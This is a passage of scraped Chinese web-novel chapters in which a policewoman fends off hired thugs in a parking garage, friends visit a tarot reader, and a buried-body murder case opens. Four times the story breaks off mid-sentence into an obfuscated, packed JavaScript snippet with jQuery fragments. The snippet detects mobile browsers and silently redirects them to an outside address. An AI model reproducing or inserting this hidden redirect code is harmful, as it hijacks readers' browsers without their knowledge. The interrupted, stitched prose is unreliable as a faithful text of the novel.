‘想离婚分财产’是真的,语气掷地有声,戳胸口的手指力气很大。
总结来看——一个早年入赘豪门,中年因某些原因想离婚,想方设法诬陷妻子出轨的looser。至于为什么妻子既能挣钱,又没有背叛感情,但他还是想伤敌一千自损八百地要离婚?原因好难猜啊。”
前台
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16592243|187399||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一听,立即拍板推理出真相:
“这有什么难猜的?!八成是这个男的自己本事不如老婆,虚荣心又重又觉得在老婆面前没有优越感,所以在外面养了小三呗。现在被小三捧臭脚哄得开心了,想让老婆出轨分老婆的财产,还想让人净身出户。靠!这什么人啊!”
柳回笙颔首,没说对,也没说不对,跟赵与交换了一下眼神,心照不宣——
柳回笙跟梅昭师出同门,她能看出来的,梅昭一样能看出来。
只看怎么处理。
只见梅昭将外套放在拿包那只手上,拨了拨卷曲的长发,淡淡一笑,礼貌却疏远:
“张先生,您的遭遇我很同情。但您太太在蓊阳的地位您是清楚的,朱虹律师事务所的CEO,业务范围覆盖整个亚洲。以她的业务能力和对法律的了解,即便出轨也会处理得没有痕迹。就算退一步讲,我找到证据,那又如何呢?她肯定已经把婚前财产做了公证,彼时对簿公堂,你一分钱都分不到。而我,还会成为她的眼中钉、肉中刺。我一个做私家侦探的,很多地方要请律师帮忙,要是得罪了蓊阳最大的律师事务所,我往后怎么立足呢?”
一说实力悬殊,二说没有收益,三说自己势单力薄,绝口未提张某出轨居心不良。
简单的一个回合,让张某知难而退,还没有撕破合作的颜面,两全其美。
“不愧是梅总,厉害啊。”
张某走后,柳回笙缓步走到梅昭面前,戏谑中带着敬佩。
梅昭看到她,柔和的眼眸漾开笑意:
“少挖苦我了,现在的客户难缠得很,一点也不省心。”
“哪有?我看你处理得挺轻松的。要不说还是得师姐出马呢?要是我,肯定当场就戳穿他,让他自己滚了。”
“做生意啊,哪有骂客户的道理?”
“所以啊,咱师姐在人心这一块拿捏得死死的,你不成功谁成功?”
“嘶。”梅昭斜她一眼,看看她,又看看赵与,打趣道,“谈了恋爱是不一样啊,嘴巴越来越甜了?”
赵与不说话,只是笑。
柳回笙被逗得害羞,闭嘴,哼了两声昨晚听到的调子。
三人在大厅坐了一会儿,前台下班走后,梅昭锁了大门,陈豆豆也从隔壁的猫咖出来,见到梅昭就往上扑。
“梅姐~”
陈豆豆化了妆,换了身衣服,粉色卫衣搭配白色百褶短裙,脚下一双白色皮靴。细卷的妹妹头刚过耳朵,右侧别着五角星形状的发夹,细碎的留海下,眼睛宛如葡萄。
“时间刚刚好,我刚收拾完,你们也好了!”
梅昭展开双臂,温柔地接住飞扑过来的小蝴蝶,爱抚地在后背拍了拍:
“嗯,刚刚好,说明我们有默契。”
“对啊对啊!”
一旁的柳回笙看破不说破——哪有什么刚刚好?刚才打发走张某,梅昭硬是拉着她跟赵与在大厅聊了十几分钟。虽然梅昭情商高,聊天内容轻松愉快,但柳回笙还是读出了拖延时间的嫌疑。直到算好陈豆豆差不多收拾好了,梅昭才锁门过来。
然后就收到了陈豆豆一长串关于“心有灵犀”魔力的感叹。
“师傅,你跟赵队也有这种默契吗?明明没有约时间,却跟说好了一样!”
四人顺着安全通道下楼,陈豆豆的声音在空旷的停车场发出阵阵回音。
柳回笙帮梅昭做了全套的戏,便说:
“有时候会这样。两个人在一起久了,对对方的节奏都比较了解。”
“可是我跟梅姐才在一起不到半年诶,这也太神奇了!”
“说明你们俩很合拍啊。”
“盒盒盒!有道理!”
赵与的车停在楼梯间隔壁,绕过墙就能看到。
相邻的车位便是梅昭的车。
正当四人走近,打算解锁上车时,赵与却突然收住脚步,拇指放在车钥匙的按钮上,迟迟没有往下摁。
柳回笙也停了下来,她的方位刚好能看到梅昭的车胎,两个前轮都泄气塌陷了。
陈豆豆在后面什么都没看到,见两人不说话,嗖地冒头上来:
“唔?怎么啦?”
话音落地,石墙后方传来鞋底摩擦砂石的声音,赵与一手把柳回笙拽到身后,另一手摸上腰间的手.枪:
“谁?出来!”
8. 再见梅豆(二)
“谁?出来!”
赵与一声呵斥,墙壁后方那种碾压细沙的脚步声再次传来——
不是一个,而是密密麻麻数不清数量的一长串,似循着血腥四面八方涌上来的鼠群。
灯光昏暗的地下停车场,一堵石灰墙隔绝大半个视野,空气中隐约弥散着灰尘,成群结队在灯管下方显现成一粒一粒的尘埃颗粒。
呼的一声,晚风从狭长的入口吹进,灰尘扬起半人高,模糊整个视野。
嚓,嚓,嚓......
细密的脚步声越来越清晰,一个黑影从石灰墙后方出现,紧接着,乌泱泱的一团黑影跟了上来。
“姓梅的,叫帮手来了?”
带头的是有一个五大三粗的男人,身高目测1米9,单手拎着棒球棒,一身的腱子肉,戴着一张黑口罩,帽檐下的眼睛格外凶狠。但看到站在三人前面的赵与,凶狠中漏出轻蔑,嘲讽到:
“你说你叫谁不好,叫俩娘们儿,咱这兄弟不是一棍一个吗?”
陈豆豆吓得把梅昭往后拽,梅昭扣住她的手拍了拍,小声说了句“没事”,然后看向带头的男人:
“你是谁?我不认识你。”
男人冷笑:
“呵!不认识我不要紧,认识咱手里的家伙就成。”
说着,棒球棒在腿侧敲了两下,身后的七八个小弟蠢蠢欲动。
钢片在机床的传送带上缓缓往前,几厘米外的切割机飞快转动齿轮,机器飞转,火花四溅,场面随时都要爆发。
赵与站在三人前方,两腿分立,岿然不动,朝带头的男人问:
“我朋友不认识你,你找错人了。”
男人嗤笑:“哥几个就没找错过人。今儿就明跟你说了,姓梅的接了不该接的案子,现在有人要给她点教训。识相的滚远点儿,不然老子手里的家伙可不长眼睛。”
赵与眯眼:“如果我不滚呢?”
男人的脸颊抽了一下,眼中露出杀气:
“那就别怪我手下的兄弟不客气。给我上!”
说完,一左一右就窜上去两个人,一个拿刀,一个拿棍。
“狂是吧?老子弄死你!”
赵与看准两人抬手的动作,匆匆一扫确定破绽,抬腿侧踢踹中右边那人的胸膛,当即把人踹飞5米。
另一个打手见状想撤,但冲出去的惯性已经收不回来,举高的西瓜刀砍下,被赵与一个避身躲开。砍空之后,打手想提刀再砍,手腕就突然传来剧痛,西瓜刀转眼易主,跑到赵与身上。
“你——啊!”
刚开口要骂,胳膊就被赵与反拧,疼得他哇哇乱叫,膝盖窝被踹了一脚,朝自家大哥的方向跪了下去。
砰!
两个打手先后落地,扬起的灰尘飘过头顶。
整个过程不到5秒。
带头的壮汉慌了一下,问:
“你,你谁啊!”
赵与单手禁锢打手,另一手从外套内侧的口袋摸出警官证,拇指顶开皮壳,亮出内页。
“我以警察的身份对你们正式发出警告,你们今天的行为已经构成寻衅滋事,放下武器,抱头蹲下。”
壮汉虚了一下眼睛,看不清上面的信息,不想在小弟面前丢脸,硬着头皮说:
“拿个证件就想诓我?别以为我不知道啊,警察也分的,交警法警这些,根本就没有权力管这档子事儿!”
说完,旁边一个戴眼镜的小弟颤巍巍凑上来:
“大,大哥,她,她好像是刑警......”
“啥?!”
“上,上面写着刑侦支队,是,是刑警......吧?”
“这,这......冒充的,肯定是冒充的!”
“这这这......”
“怕什么?监控被我掐了的,谁认得出来!给我上!上!”
说完,赵与身后升起一个手机——柳回笙。
她淡定地举着手机,优雅地在快门上按了好几下。
喀嚓!喀嚓喀嚓喀嚓!
“大哥!那个女的在拍照!”
柳回笙轻飘飘提醒:
“刚才是拍照,现在开始录视频。”
平和的声音却似七月七屋檐下呼啸的风铃,路过的不知是风还是鬼。
一圈人开始怯场,“你”“我”了半天,蹦不出一句完整的话。
“你!”
“这这这......”
“关了!手机关了你!”
赵与抬高音量,朗声道:
“我以警察的身份对你们第二次发出警告,你们今天的行为已经构成寻衅滋事,放下武器,抱头蹲下!”
带头的壮汉心口一横,命令到:
“兄弟们!被她抓到就完了!大家一起上!到时——哎!哎!”
话没说完,眼前就多了一口圆形的黑管——赵与掏枪了。
壮汉吓得赶紧蹲下:
“哎哎哎!别开枪!别别别——警官,我们就是拿钱办事儿,我什么都没干啊!什么都没干!”
其余几个也纷纷丢下手里的棍棒砍刀,叮呤咣啷一通响,一个比一个蹲得熟练。
后面,赵与通知辖区的派出所,将一行人全都带了回去。
幕后黑手也被民警上门抓获,不是旁人,正是前不久让梅昭在蓊阳声名大噪的,出轨净身出户的某企业家王某。
在民警的审问下,王某承认了对梅昭怀恨在心,并买凶伤人的犯罪事实。
做完笔录出来已是八点多,四人重新赶往餐馆,恰好避开了用餐高峰期。
“还好有赵队,不然就危险了!”
一路上,陈豆豆对赵与的挺身而出赞不绝口,等餐的期间还在模仿赵与先前5秒解决2个混混的格斗动作:
“一个侧踢腿,一个反手擒拿,啧!就这么水灵灵给拿捏了!该说不说,咱蓊城出来的就是给力!”
“好了。”梅昭把刚倒的大麦茶推到她面前,“一路都在说,也不知道喝水。”
“盒盒盒,人家高兴嘛!”陈豆豆两手捧起来,眼睛弯弯地瞧着梅昭。
人的幸福是会从眼睛里跑出来的。
无论梅昭看陈豆豆,还是陈豆豆看梅昭,都有一种鹅黄暖灯在爱人面庞晕开浓墨的深情。
柳回笙看在眼里,比自己谈恋爱还要高兴,说:
“你现在也不赖呀,不是一边开店一边体能训练么?潜泳证应该也考下来了吧?”
提起潜泳,陈豆豆脸上多了几分骄傲,双颊的酒窝加深:
“哼,那当然。我现在可是潜泳健将,游泳也是教练级别的。医生说了,游泳能锻炼腿部肌肉,周期性锻炼还能修复神经。我每天都游1000米,腿已经好很多了!”
柳回笙欣慰:“那就行。”
陈豆豆点头:“对的呀,我可是要长命百岁的。上周我找人算了,我能活到100岁。”
柳回笙笑:“这么灵?”
陈豆豆说:“当然!说真的,师傅,等下吃完饭,我带你跟赵队也去算一个。可准了!”
“算什么?”
“算命啊。”
“我也要算吗?”
“当然了,那个大师可准了!我跟你讲哦师傅,我一开始也不怎么相信的,结果她跟我说,我最近有一笔意外之财入账。你猜怎么样?没两天我妈就说我们家拆迁了,我户口不还在老家没迁过来吗?给我分了8万块!”
柳回笙不大信算命,之前读博的时候有个师妹痴迷塔罗,成天跟她说,她的正缘不在美国,在中国。
虽然说的是事实,但柳回笙觉得理所当然——她本就决定博后出站就回国找赵与的。
即便如此,她也不想给兴头上的陈豆豆泼凉水。
于是点头答应:
“好,吃完了去算一下。”
梅昭温柔提醒:“豆豆也就这么一说,要算也等周末吧?你们明天还要上班。”
陈豆豆想想也是:“哦对对对,你们刚升职过来,上班是得精神点。昨天十字路口那个车祸,别说你们了,我都吓得要死。”
不说车祸还好,一说车祸,柳回笙又沉了下去。眼帘一垂,叹气:
“现在案子还在交通队那边,死伤那么多人,之后肯定会移交到刑侦支队来。”
脑海一闪,又是昨天那张年轻漂亮的面孔,笑盈盈冲她说“小姐姐我请你喝一瓶汽水吧”。
心情一落千丈,柳回笙
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16592244|187399||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不想影响聚餐的心情,努力挤了一个笑:
“吃饭,不说工作的事了。”
陈豆豆大手一挥,肯定道:
“没事的师傅,我知道,你肯定在为受害者难过嘛。你看啊,正是因为有那么多意外,所以每一天活着才那么有意义呀!我们干这行,就得惩奸除——”
说到一半,整个人忽的僵住,似被按了暂停键。
“怎么了?”梅昭侧身问她。
陈豆豆的眼神闪烁了一下,低头垂眸。
那一刻,柳回笙倏地从她身上看到另一个灵魂,一个深邃沉重,与平日的陈豆豆完全不一样的灵魂。
但那个感觉只维持了不到1秒,很快就散了,快到柳回笙最后将其归结于错觉。
“我肚子疼,盒盒盒,去上个厕所啊。”
陈豆豆说着脱掉外套,穿个猫咪图案的小短袖就去找前台。
前台的一对夫妻正在结账,妻子抱着一只布偶猫,猫咪似乎有点应激,一直发出微弱的叫声。
“哇,好漂亮的布偶,还是异瞳诶!”
陈豆豆对女人怀里的猫大夸特夸。
女人30出头,着装打扮是成熟贵妇的风格。听到自家宠物被夸,她高兴地将布偶往陈豆豆的方向转了一下,笑着说:
“就是胆子小,一直叫。”
陈豆豆说:“是这样的。你们是不是平时不怎么抱出来玩啊?一直待家里,一下子抱出来是容易应激的。”
女人点头:“也没有啊。我先生平时出去做生意都带在身边,也没见它叫。”
“那就是认人啦。小动物也是有依赖性的,如果去外面人多的地方,它都是在大哥怀里的,那你抱它就会让它觉得不习惯。”
“噢,原来是这样吗?”
女人放到男人怀里,果然猫就不叫了。
“真的哎。”她惊呼。
“对呀。”陈豆豆说,“我开猫咖的,对猫猫还是比较了解。之前我们店里来了一只英短,也是怕生。后来跟其他猫猫混熟了就不怕了,姐你平时没事儿可以多带它出来逛逛。”
“那好的呀,你是开猫咖的呀?怪不得这么懂。”
“对呀,我都开3年了。姐你要是没事儿,欢迎你随时来玩啊。”
“那可以的呀,叫什么名字?”
“你等下我给你名片。”
陈豆豆说着在身上摸了摸,尴尬地指向座位的位置:
“在包里,姐你等一下哈!”
飞快回来,从背包的内侧夹层摸出一张名片,小跑递到女人手里。
期间,一旁的男人没有说话,只在陈豆豆再次跑过去的时候,打趣问:
“没想到你这么年轻,就自己出来做老板了?”
陈豆豆挠头,扯出那张人畜无害的笑脸:
“嘿嘿,小生意啦。我不想上班,我妈就给我搞了个猫咖。还好现在大家都挺喜欢小宠物的,我这个店才开得起来。”
男人点点头,没说什么。
女人肯定她的能力:
“你这么小自己开店,已经很不错啦。”
陈豆豆又笑:“嘿,还行,还行。那姐我就不打扰你们了哈,有空来我猫咖玩儿啊。”
随后道别,在两人即将走出餐馆大门时,问前台:
“你们家洗手间在哪呀?”
小小的插曲每天都在蓊阳这座城市上演,但熟知陈豆豆的人知道,刚刚这段对话,有一个地方不合理——
陈豆豆的猫咖才开半年,她跟那对夫妻说的,却是“3年”。
等欢脱的背影消失在去往洗手间的转角,柳回笙才收回目光,回头,用眼神询问赵与。
赵与在桌下碰了碰她的手,轻微摇头,示意她不要说破。
可能一时口误,也可能故意为之。
陈豆豆没说,代表不想让她们知道。
既然不想,问也没有意义。
柳回笙回握住她,看向餐桌对面的梅昭,笑着说:
“豆豆还是这么活泼,还以为Thanatos的事对她有影响呢。”
梅昭缓缓勾唇,唇边的笑意似有似无,瞳光融进白雾,看不真切。
“她一直这样。”
9. 深山埋尸(一)
十字路口的车祸没两天就转接到刑侦支队办理。
司机疲劳驾驶,跟餐馆、受害人没有任何恩怨,案情比较简单,很快就结了案。
周末,没有案子一般是可以双休的。
按照之前说的,陈豆豆领二人去那位“算命大师”的地方算命。
大师名叫“天钥”,俄罗斯人,据说祖上三辈都是靠算命谋生,传女不传男。用的不是中国传统的易经六爻,是西方塔罗。
天钥生意很好,陈豆豆提前好几天约,也只约到周日清晨的档期。
07:30,旭日初升。
清晨的温度不到15℃,柳回笙里面穿一件纯棉衬衫,外面的大衣扣上后还得在脖子上加一条丝巾。
赵与在短袖外面套了件抗风的冲锋衣,半长的头发扎在脑后,冷着眼睛冷着脸,身体却是热的。一路都将柳回笙的手揣在兜里,去罗森买了杯热饮给她另一只手抱着,边喝边暖手。
四人准时在天钥楼下碰面。
柳回笙跟赵与昨晚做得有点过火。
过火的意思是,但凡在全国最大最权威的小说网站晋江文学城描述一句就会被锁。
体表特征的表现则是,柳回笙嗓子哑了。
二人的频率不高,一周2次,周一周五,剩余5天看心情。看心情这一点比较玄学,总之按照真实情况平均一周算下来——
5次。
即便训练这么久,柳回笙跟赵与的体能差距还摆在那里,那天早上起来骨头都是软的,整个人跟灯笼罩似的,戳一下会破,但要是不戳,又好像能顶着风吹许久。
“这个大师还挺勤奋,7点半就上班了。”柳回笙说,嗓子眼漏着风。
要是10点开门就好了。
陈豆豆神秘地摆手,一双眼睛在晨曦里衬得晶亮:
“才不是呢,她7点就开门了。我约的7点半的,还是刚好算的那个人有事来不了,让给我们的。”
柳回笙苦笑:“这么拼。”
陈豆豆说:“对啊,据说她是给自己算过,早上7点到下午3点是事业的鼎盛期,所以3点之后她就关门了,别人出多少钱她都不算,一分钟都不带拖的。”
“还有这说法?”
“对啊,一般大师都比较奇怪。没事儿,邪修也是修。路子越邪,算得越绝。”
陈豆豆自有一套处事的理论,说起邪修,谁在陈豆豆面前都要自甘下风。
7点的客人已经走了,天钥的徒弟将4人领到办公室。
天钥坐在办公桌对面,窗帘紧闭,头顶一盏椭圆水晶吊灯,桌上一块黑紫绒布,布面印着金边的塔罗太阳和星宿图案。
柳回笙预想中,算塔罗的大师应该是一身黑色斗篷,头戴女巫帽,身处阴暗的空间里对着一颗硕大的水晶球振振有词地念咒语。
实际上,办公室的光线非常充足,天钥穿着都市化的衬衫西裤,黄头发、灰眼睛、白皮肤,传统俄罗斯人的长相。
只是那双眼睛,灰色的眼睛,颜色浅到仿佛在眼球表面蒙了一层烟,在似乎模糊不清的视角里,漆黑的瞳仁刀尖般刺穿烟雾,洞穿头骨。
“又来了?”
天钥没看电脑上的客户资料,抬眼就认出了陈豆豆:
“不跟你说了么?能活到100岁。”
陈豆豆乐滋滋地抓着斜肩包的带子,往前一跨:
“大师,不是我啦,是我朋友。我带了个朋友过来算。”
回头小声叫柳回笙:
“师傅,过来。”
然后看向天钥,介绍道:
“大师,就是她。”
天钥的目光从陈豆豆移到柳回笙身上,灰色的瞳孔动了一动,一秒的工夫,心里已经下了判词。
重新看向陈豆豆,说:
“你算可以。她的命,我算不了。”
“嗯?”柳回笙一怔。
“啊?”陈豆豆猝不及防,“这,您这都还没抽牌呢!怎么就算不了了?”
天钥神情淡漠,深陷的眼窝却比村口的水井还深。
“你们中国的六爻讲缘分,西方的塔罗同样讲缘分。用你们的话来说,就是有的人,命数尚在方外,我的级别,看不到。”
一圈说下来,陈豆豆被绕晕。
但很快她就从晕头转向中找到邪修的理解路子:
“噢——那就是说师傅你的命特别好,是神仙的命!”
柳回笙汗颜:“大师好像不是这个意思。”
陈豆豆笃信:“就是这个意思!大师你说对吧?”
天钥平和地喝了口水,没有回答陈豆豆的问题,也不再看柳回笙,只说:
“你们还有15分钟,可以让你们换个主体,重新算。”
陈豆豆想着交了钱,赶紧把赵与推出去:
“大师,算她,她也是我朋友!”
“我?”赵与猝不及防。
“对。”陈豆豆替她做了决定。
赵与无助地看向柳回笙,接到一个“反正也是哄豆豆开心”的表情,于是叹气,往前一步:
“麻烦给我看一下吧。”
天钥端详她几秒,平淡孤高的表情裂开缝隙,眉间的肌肉渐渐收拢,给一旁的陈豆豆急得抓耳挠腮:
“大师,她的也算不出来吗?”
天钥收回眼神,说:
“可以。算什么?”
陈豆豆向赵与解释:
“就是事业、爱情、财运这些,我算了个财运,然后又算了一下命数,最后的结论就是我拿到那个拆迁款,然后能活到100岁。”
赵与用眼神询问了一下柳回笙,柳回笙朝她点头,示意她想算什么都行。
于是说:
“就看一下事业吧。”
确认了问题,天钥也不多问,爽快地拿过一旁的塔罗牌开始洗牌,熟练分成两沓,数十张牌角飞快从指腹摩擦,牌面的图案跑马灯般闪过。腕部没有用力,手指和掌根推拉之间,纸牌如欧洲中世纪的门扇不断在骨节分明的指间旋转。
洗完,堆成整齐的一沓,从顶端摸出三张牌,依次翻开。
一扫眼便得出结论:
“你的事业伴随一定的凶险,但事业运很旺,步步高升。你是一个很拼很热爱工作的人,有时不太会考虑自身的安全,只想办案。”
“办案”两个字出来,4人皆是一怔。
沉默间,天钥缓缓抬起眼睛,平和的目光下是对事实真相的洞悉。
“对吧?警官。”
赵与是几人里反应最沉稳的那个。
能从一个人的穿着打扮和言谈举止判断出职业,这屋子里的人除了陈豆豆之外都能做到
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16592245|187399||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。只是落在一个算命人的头上,才显得没那么简单。
“你怎么看出来的?”
赵与问。
天钥没有回答她的问题:
“这个你不用管。我只是提醒你,你的工作危险指数很高,甚至会面临生死一线的抉择。就看你们想听好的还是不好的。”
陈豆豆问:“好的是什么?不好的是什么?”
天钥从底牌里又抽出两张牌,背面朝上,没有展开。
灰色的眼睛再次看向赵与:
“你确定要看?”
赵与坦然,她本就不信鬼神和算命,今天来也是想陪陈豆豆玩玩,于是无畏地勾唇:
“嗯,看吧。”
翻开左手边的牌:
“往好的说,有人替你挡灾。”
“坏的呢?”
翻开右手边的牌,落下判书:
“活不过30岁。”
灰色眼瞳从天幕中间的破洞降临,与之一起降临的,是漩涡中心浪涛般的气流。
波云诡谲,难辨是非。
8:00,蓊阳的周末渐渐苏醒,没有早高峰的公路车流稀疏,偶尔飘来街边小摊的早点味。
“简直是危言耸听!”
陈豆豆气得口腔都鼓起来了:
“我还以为有多真,结果一个说算不出来,另一个说活不过30岁,什么叫活不过30岁啊?她是阎王吗?对了赵队你现在多少岁来着?”
赵与说:“29。”
陈豆豆更急了:“那不就是明年?呸呸呸!肯定不会的,赵队你肯定也跟我一样,长命百岁!”
说着悲伤起来:“这么看来,我那个‘活到100岁’多半也是有水分的,唉......”
梅昭在一旁看着,见她一会儿生气一会儿愁,恨不得一分钟上演108个人格,便拉过她的手揣自己口袋里,拇指温柔地摩挲着她的手背,宽慰说:
“这个东西本来就是信则有,不信则无。你信,所以你活到100岁是真的。赵与不信,所以她活不到30就是假的。这么想就好了。”
陈豆豆嘟囔着:“真的嘛......”
梅昭说:“真的。”
柳回笙也开口:“你们好歹都有参考,我连个注意事项都没有,就纯算不出来。”
这是最诡异的。
天钥能看出赵与的身份,对柳回笙多半也能猜个七七八八,但竟然一句话都不说,直接来一句“她的命,我算不了”。
陈豆豆大笑:“哈哈哈!对!师傅是最惨的,啥都没看出来。”
然后两手往上伸了个懒腰:“哎呀——算了,反正这个东西就是消遣一下,又不是什么行为准则。也不早了,我要去开店了,师傅你们打算去哪?”
柳回笙说:“买了两张歌剧票,等下去看看。”
正说着,赵与的手机响了起来。
“南无喝呐怛那哆呐夜耶......”
赵与看了眼来电显示,表情即刻严肃起来:
“冯队。”
柳回笙的目光一顿——冯队,刑侦支队长。
“赵与,有个案子,你来一下。”
“什么案子?”
“埋尸,家属带着人闹到市局来了,你叫上一大队,赶紧过来集合。”
“好。”
10. 深山埋尸(二)
赵与紧急通知了一大队所有成员,加上领导层一共19人在不到20分钟内陆续赶到市局。
赵与跟柳回笙是分开到的。为了避嫌,赵与开车,柳回笙打的车。
抵达时,市局的金属推拉门外已经围了十几个农民工,有男有女,有老有少,大多还穿着便宜的迷彩裤和洗脱色的棉杉,蓬头垢面,看样子是直接从工地过来的。
为首的是一个中年妇女,碎花涤纶衣摆下的身体空空荡荡,被两个工人搀扶着举起右手,又哭又喊:
“警官你们要给我做主啊!我男人死得冤啊!死得冤啊——”
周遭的工人也纷纷应和:
“一定要抓人啊!把凶手抓起来!”
“杀人偿命!必须要逮到人!”
“太惨了!被埋到地下面,太惨了!”
“逮到了枪毙!死刑!一定要死刑——”
赵与的车开到门口就进不去,一群人围着车头站了半圈,呐喊的呐喊,拍窗的拍窗,受害人家属甚至在车头前方的位置跪下磕头,一时前进不了。
赵与下车,176的身高加上平日训练有素,往人堆里一站格外醒目。
“我是一大队的队长赵与,请大家放心,这起案子我们一定会引起重视,还死者一个清白!”
为首的中年妇女跪着爬到赵与跟前,半白的头发跟泪水一起糊在脸上,皮肤呈现长期在户外从事体力劳动的紫红色。
“警官!警官你要帮我啊!我男人死得太惨了!”
赵与连忙抄着腋下把她抬起,妇女却仍双腿不发力,哪怕赵与把她抬到跟自己一样高,膝盖还是曲起,靠着体重往下跪。
“大姐,案子我们会秉公办理的,你先起来。”
“我不起来!你们不给我一个说法我就不起来!我要杀人凶手偿命!要他偿命啊——”
身边一群人也纷纷跪下去,情况不妙。
机关单位的工作人员第一要务是为人民服务,如果群众对着一个警察下跪,还伴随着哭喊和乞求,被有心人拍到传去外网,配上似是而非的文案,会引起不必要的麻烦。
赵与连忙半蹲下去,跟中年妇女平高,两手抓着她的肩膀制止她磕头。
“大姐,你的心情我能理解,但你给我一点时间。我保证,我会尽我所能去查案,把真凶抓回来,好吗?”
说着,身后传来好几个人的声音,原来是柳回笙跟其他几个一大队的队员陆续赶到。
柳回笙亮出自己的警官证,一马当先赶在所有人前面,高声劝道:
“大家放心,一大队是专门负责重案的,我们是专业的,一定能将犯人绳之以法。”
“但是你们如果一直堵在这里,我们没办法进去的话,就没办法办案。晚一分钟,真凶就有可能逃之夭夭。如果大家想尽快抓到凶手,麻烦让一条路出来,让我们先进去,谢谢!”
两段话,一摆明专业能力,让家属放心。二阐明利害,让家属明白堵门的后果。不出半分钟,原本堵在门口的十几人便朝两侧让开。
赵与回头,招呼几个警员一同上车,目光落到柳回笙身上,彼此点了一下头,互相肯定对方的做法。
10分钟后,刑侦支队一大队在会议室集合。一并参会的,还有此次案件所属辖区派出所的民警。
赵与坐在第一个位置,顺位坐的派出所的同事和一大队的骨干。
大家来得急,穿的都是便装,赵与脱掉外面的冲锋衣,只穿里面的短袖衬衫,领口纽扣扣到最顶,一张脸冷得宛如一碗凉水,侧面看去,鼻梁将玻璃窗切割出清晰的曲线,山脉一般。不
“人到齐了,下面我们开始讨论这起‘黑独山抛尸案’的案情。首先请派出所负责这起案件的周洪警官汇报一下目前的情况。”
人刚坐好,赵与就启动了会议流程。
周洪把电脑连到投影仪,再将从派出所打印的案件材料放到摄影口下方。
“各位领导、师兄师姐好,我是湛岛派出所的周洪。今天早上6点11分,我们接到目击者的报警电话,称在湛岛黑独山发现了一具尸体。我们第一时间赶到现场,发现现场有一个深30公分的浅坑,坑面的泥土中间,有一只手从地下伸出来。
我们立即拉起警戒线,并对尸体进行了挖掘。法医初步判断致命伤应该是后脑勺的这一处。”
电脑翻开相册,点开内部网盘刚上传的后脑勺的伤口照片。血液已经氧化成黑色,杂乱的头发之间,能够看到皮肤裂开的伤口。
“具体死因还要等法医进一步鉴定。现在现场已经采证完毕,尸体也装袋送到了殡仪馆,等下一步看是解剖鉴定还是怎么说?”
赵与点了点头:“如果体表鉴定确认不了死因,是需要解剖。到时候我去找家属谈。其他呢?现场有没有什么细节?”
周洪继续:
“死者陈海波,男,46岁,高山公路的建筑工人,籍贯大尧岛陈家村。家里有一个妻子,一个儿子。儿子有先天智力缺陷,二级残疾。陈海波平日住在高山公路的工人宿舍,一个月回一次家。高山公路离黑独山很近,不到3公里。
发现尸体后,黑独山的保安认出死者,并提供了家属和大工头的联系方式。很快,工人宿舍的工人就赶过来了。”
赵与问:“家属呢?”
周洪答:“家属是同村的工人带过来的,没有去现场,直接到警局来了。”
“陈海波跟工人关系怎么样?”
“初步了解,陈海波在工地跟人相处比较融洽。父亲之前在陈家村当过村长,陈海波为人也仗义,介绍了很多陈家村的村民去工地打工,算一个小工头,大家都称呼他‘四哥’。”
赵与沉思片刻:“从外面帮他打抱不平的人来看,他平时的人际关系应该不错。抛尸现场有什么发现么?”
周洪翻开手里的资料:
“现场......稍等,时间稍微有点紧......找到了。”
“陈海波被埋的时候,是面朝下趴着的姿势,穿了两件衣服和一件外套,估计是晚上遇害的。因为黑独山昼夜温差大,白天30多度,晚上只有10度。没有发现拉扯打斗的痕迹,被击倒的速度应该很快,导致没有还手能力。此外,受害人身上的手机和钱包都不见了,不排除抢劫遇害。身上只剩一包烟和一个红色打火机,也正是那个打火机,被保安认出来,是陈海波的所属物,进而进行面部识别,确认了死者身份。”
“保安呢?口供录了没?”
“还没有,我们刚处理完现场,就听说陈海波的老婆闹到市局来了,我们就赶回来汇报一下情况。”
赵与点头,说:
“现场取证的照片先投出来,先过一遍。”
“好。有点多,要不,大家先在网盘看一下。”
“好,10分钟,大家看下照片和材料,我们稍后讨论。”
剩余的几百张照片很快同步到警用网盘,众人纷纷登录自己的警号和密码访问。
有的点开照片,有的点开案情材料。
10分钟很快到了,赵与看了眼手表,接过周洪手里的笔记本电脑,创建了一个
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 